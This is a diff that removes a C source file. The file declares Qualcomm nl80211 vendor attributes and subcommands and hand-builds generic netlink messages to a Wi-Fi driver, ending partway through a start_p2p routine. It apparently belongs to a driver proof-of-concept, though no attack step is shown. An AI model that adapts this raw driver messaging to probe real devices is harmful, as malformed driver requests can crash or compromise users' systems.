-  /* Signed 32-bit value; 5GHz RSSI score bonus
-   * applied to all 5GHz networks
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_roaming_config_params {
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_INVALID = 0,
-
-  QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD = 1,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID = 2,
-
-  /* Attributes for wifi_set_ssid_white_list */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_NUM_NETWORKS = 3,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_LIST = 4,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID = 5,
-
-  /* Attributes for set_roam_params */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_THRESHOLD = 6,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_THRESHOLD = 7,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_FACTOR = 8,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_FACTOR = 9,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_MAX_BOOST = 10,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_LAZY_ROAM_HISTERESYS = 11,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_ALERT_ROAM_RSSI_TRIGGER = 12,
-
-  /* Attribute for set_lazy_roam */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_ENABLE = 13,
-
-  /* Attribute for set_lazy_roam with preferences */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS = 14,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID = 15,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID = 16,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER = 17,
-
-  /* Attribute for set_ blacklist bssid params */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS = 18,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID = 19,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID = 20,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_extscan_config_params {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
-
-  /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
-   * either gets it from caller, e.g., framework, or generates one if
-   * framework doesn't provide it.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
-
-  /* NL attributes for input params used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
-   */
-
-  /* Unsigned 32-bit value; channel frequency */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
-  /* Unsigned 32-bit value; dwell time in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
-  /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
-  /* Unsigned 8-bit value; channel class */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
-
-  /* Unsigned 8-bit value; bucket index, 0 based */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
-  /* Unsigned 8-bit value; band. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
-  /* Unsigned 32-bit value; desired period, in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
-  /* Unsigned 8-bit value; report events semantics. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
-  /* Unsigned 32-bit value.
-   * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
-
-  /* Unsigned 32-bit value; base timer period in ms. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
-  /* Unsigned 32-bit value; number of APs to store in each scan in the
-   * BSSID/RSSI history buffer (keep the highest RSSI APs).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
-  /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
-   * APPS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
-  /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
-   * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
-   * array is determined by NUM_BUCKETS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
-
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
-  /* Unsigned 32-bit value; maximum number of results to be returned. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
-
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
-
-  /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
-   * array of AP_THRESHOLD_PARAM attributes and values. The size of the
-   * array is determined by NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
-
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
-
-  /* Unsigned 32bit value; number of samples for averaging RSSI. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
-  /* Unsigned 32bit value; number of APs breaching threshold. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
-  /* Unsigned 32bit value; number of APs. Followed by an array of
-   * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
-  /* Unsigned 32bit value; number of samples to confirm AP loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
-
-  /* Unsigned 32-bit value. If max_period is non zero or different than
-   * period, then this bucket is an exponential backoff bucket.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
-  /* Unsigned 32-bit value. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
-  /* Unsigned 32-bit value. For exponential back off bucket, number of scans
-   * to performed for a given period.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
-  /* Unsigned 8-bit value; in number of scans, wake up AP after these
-   * many scans.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
-   */
-  /* Unsigned 32bit value; number of samples to confirm SSID loss. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
-  /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
-   * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
-   * array is determined by NUM_SSID.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
-  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
-   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
-
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
-
-  /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
-};
-
-enum qca_nl80211_vendor_subcmds {
-  QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
-  QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
-  /* subcmds 2..8 not yet allocated */
-  QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
-  QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
-  QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
-  QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
-  /* subcommands for link layer statistics start here */
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
-  QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
-  /* subcommands for extscan start here */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
-  /* Used when report_threshold is reached in scan cache. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
-  /* Used to report scan results when each probe rsp. is received,
-   * if report_events enabled in wifi_scan_cmd_params.
-   */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
-  /* Indicates progress of scanning state-machine. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
-  /* Indicates BSSID Hotlist. */
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
-  /* EXT TDLS */
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
-  /* Get supported features */
-  QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
-
-  /* Set scanning_mac_oui */
-  QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
-  /* Set nodfs_flag */
-  QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
-
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
-
-  /* Get Concurrency Matrix */
-  QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
-
-  /* Get the security keys for key management offload */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
-
-  /* Send the roaming and authentication info after roaming */
-  QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
-
-  QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
-
-  /* Deprecated */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
-
-  QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
-
-  /* Get the supported features by the driver */
-  QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
-
-  /* Off loaded DFS events */
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
-  QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
-
-  /* Get Wifi Specific Info */
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
-  /* Start Wifi Logger */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
-  /* Start Wifi Memory Dump */
-  QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
-  QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
-  QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
-
-  /* Wi-Fi Configuration subcommands */
-  QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
-  QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
-  QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
-  QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
-
-  QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
-  QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
-  QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
-
-  /* NS Offload enable/disable cmd */
-  QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
-
-  QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
-  QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
-
-  QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
-
-  /* OCB commands */
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_START_TIMING_ADVERT = 94,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_STOP_TIMING_ADVERT = 95,
-  QCA_NL80211_VENDOR_SUBCMD_OCB_GET_TSF_TIMER = 96,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_GET_STATS = 97,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_CLEAR_STATS = 98,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_UPDATE_NDL = 99,
-  QCA_NL80211_VENDOR_SUBCMD_DCC_STATS_EVENT = 100,
-
-  /* subcommand to get link properties */
-  QCA_NL80211_VENDOR_SUBCMD_LINK_PROPERTIES = 101,
-  QCA_NL80211_VENDOR_SUBCMD_SETBAND = 105,
-  QCA_NL80211_VENDOR_SUBCMD_SET_SAP_CONFIG = 118,
-};
-
-enum qca_wlan_vendor_attr {
-  QCA_WLAN_VENDOR_ATTR_INVALID = 0,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY */
-  QCA_WLAN_VENDOR_ATTR_DFS = 1,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_NAN */
-  QCA_WLAN_VENDOR_ATTR_NAN = 2,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_STATS_EXT = 3,
-  /* used by QCA_NL80211_VENDOR_SUBCMD_STATS_EXT */
-  QCA_WLAN_VENDOR_ATTR_IFINDEX = 4,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_ROAMING */
-  QCA_WLAN_VENDOR_ATTR_ROAMING_POLICY = 5,
-  QCA_WLAN_VENDOR_ATTR_MAC_ADDR = 6,
-
-  /* used by QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES */
-  QCA_WLAN_VENDOR_ATTR_FEATURE_FLAGS = 7,
-
-  /* Unsigned 32-bit value from enum qca_set_band */
-  QCA_WLAN_VENDOR_ATTR_SETBAND_VALUE = 12,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_MAX = QCA_WLAN_VENDOR_ATTR_AFTER_LAST - 1
-};
-
-#define NETLINK_KERNEL_SOCKET 0x1
-#define NETLINK_RECV_PKTINFO 0x2
-#define NETLINK_BROADCAST_SEND_ERROR 0x4
-#define NETLINK_RECV_NO_ENOBUFS 0x8
-
-#define NLMSG_MIN_TYPE 0x10
-
-#define GENL_ID_GENERATE 0
-#define GENL_ID_CTRL NLMSG_MIN_TYPE
-#define GENL_ID_VFS_DQUOT (NLMSG_MIN_TYPE + 1)
-#define GENL_ID_PMCRAID (NLMSG_MIN_TYPE + 2)
-
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define MAX_MSG_SIZE 1024
-
-struct msgtemplate {
-  struct nlmsghdr n;
-  struct genlmsghdr g;
-  char buf[MAX_MSG_SIZE];
-};
-
-enum qca_wlan_vendor_attr_ndp_params {
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAM_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_NDP_SUBCMD,
-  QCA_WLAN_VENDOR_ATTR_NDP_TRANSACTION_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_SERVICE_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_CHANNEL,
-  QCA_WLAN_VENDOR_ATTR_NDP_PEER_DISCOVERY_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_IFACE_STR,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_SECURITY,
-  QCA_WLAN_VENDOR_ATTR_NDP_CONFIG_QOS,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO_LEN,
-  QCA_WLAN_VENDOR_ATTR_NDP_APP_INFO,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_NUM_INSTANCE_ID,
-  QCA_WLAN_VENDOR_ATTR_NDP_INSTANCE_ID_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_NDP_RESPONSE_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_SCHEDULE_STATUS_CODE,
-  QCA_WLAN_VENDOR_ATTR_NDP_NDI_MAC_ADDR,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_TYPE,
-  QCA_WLAN_VENDOR_ATTR_NDP_DRV_RETURN_VALUE,
-
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_MAX =
-      QCA_WLAN_VENDOR_ATTR_NDP_PARAMS_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_dcc_update_ndl {
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_INVALID = 0,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_COUNT,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_CHANNEL_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_ACTIVE_STATE_ARRAY,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_MAX =
-      QCA_WLAN_VENDOR_ATTR_DCC_UPDATE_NDL_AFTER_LAST - 1,
-};
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAM_BASE_PERIOD \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
-#define PARAM_MAX_AP_PER_SCAN \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN
-#define PARAM_RPT_THRHLD_PERCENT \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
-#define PARAM_RPT_THRHLD_NUM_SCANS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS
-#define PARAM_NUM_BUCKETS \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
-#define PARAM_CONFIG_FLAGS QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS
-
-static int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid, __u8 genl_cmd,
-                    __u16 nla_type, void *nla_data, int nla_len) {
-  struct nlattr *na;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = nlmsg_type;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = nlmsg_pid;
-  msg.g.cmd = genl_cmd;
-  msg.g.version = 0x1;
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = nla_type;
-  na->nla_len = nla_len + 1 + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), nla_data, nla_len);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-
-  if (buflen !=
-      sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) {
-    return -1;
-  }
-
-  return 0;
-}
-
-static int get_family_id(int sd) {
-  int id = 0, rc;
-  struct nlattr *na;
-  int rep_len;
-  struct msgtemplate ans;
-
-  memset(&ans, 0, sizeof(struct msgtemplate));
-
-  rc = send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
-                CTRL_ATTR_FAMILY_NAME, (void *)NL80211_GENL_NAME,
-                strlen(NL80211_GENL_NAME) + 1);
-  if (rc < 0) {
-    return 0; /* sendto() failure? */
-  }
-
-  rep_len = recv(sd, &ans, sizeof(ans), 0);
-
-  if (rep_len < 0) {
-    return -1;
-  }
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
-    id = *(__u16 *)NLA_DATA(na);
-  }
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  return id;
-}
-
-int start_p2p(int id, int fd) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_START_P2P_DEVICE;
-  msg.g.version = 1;
-
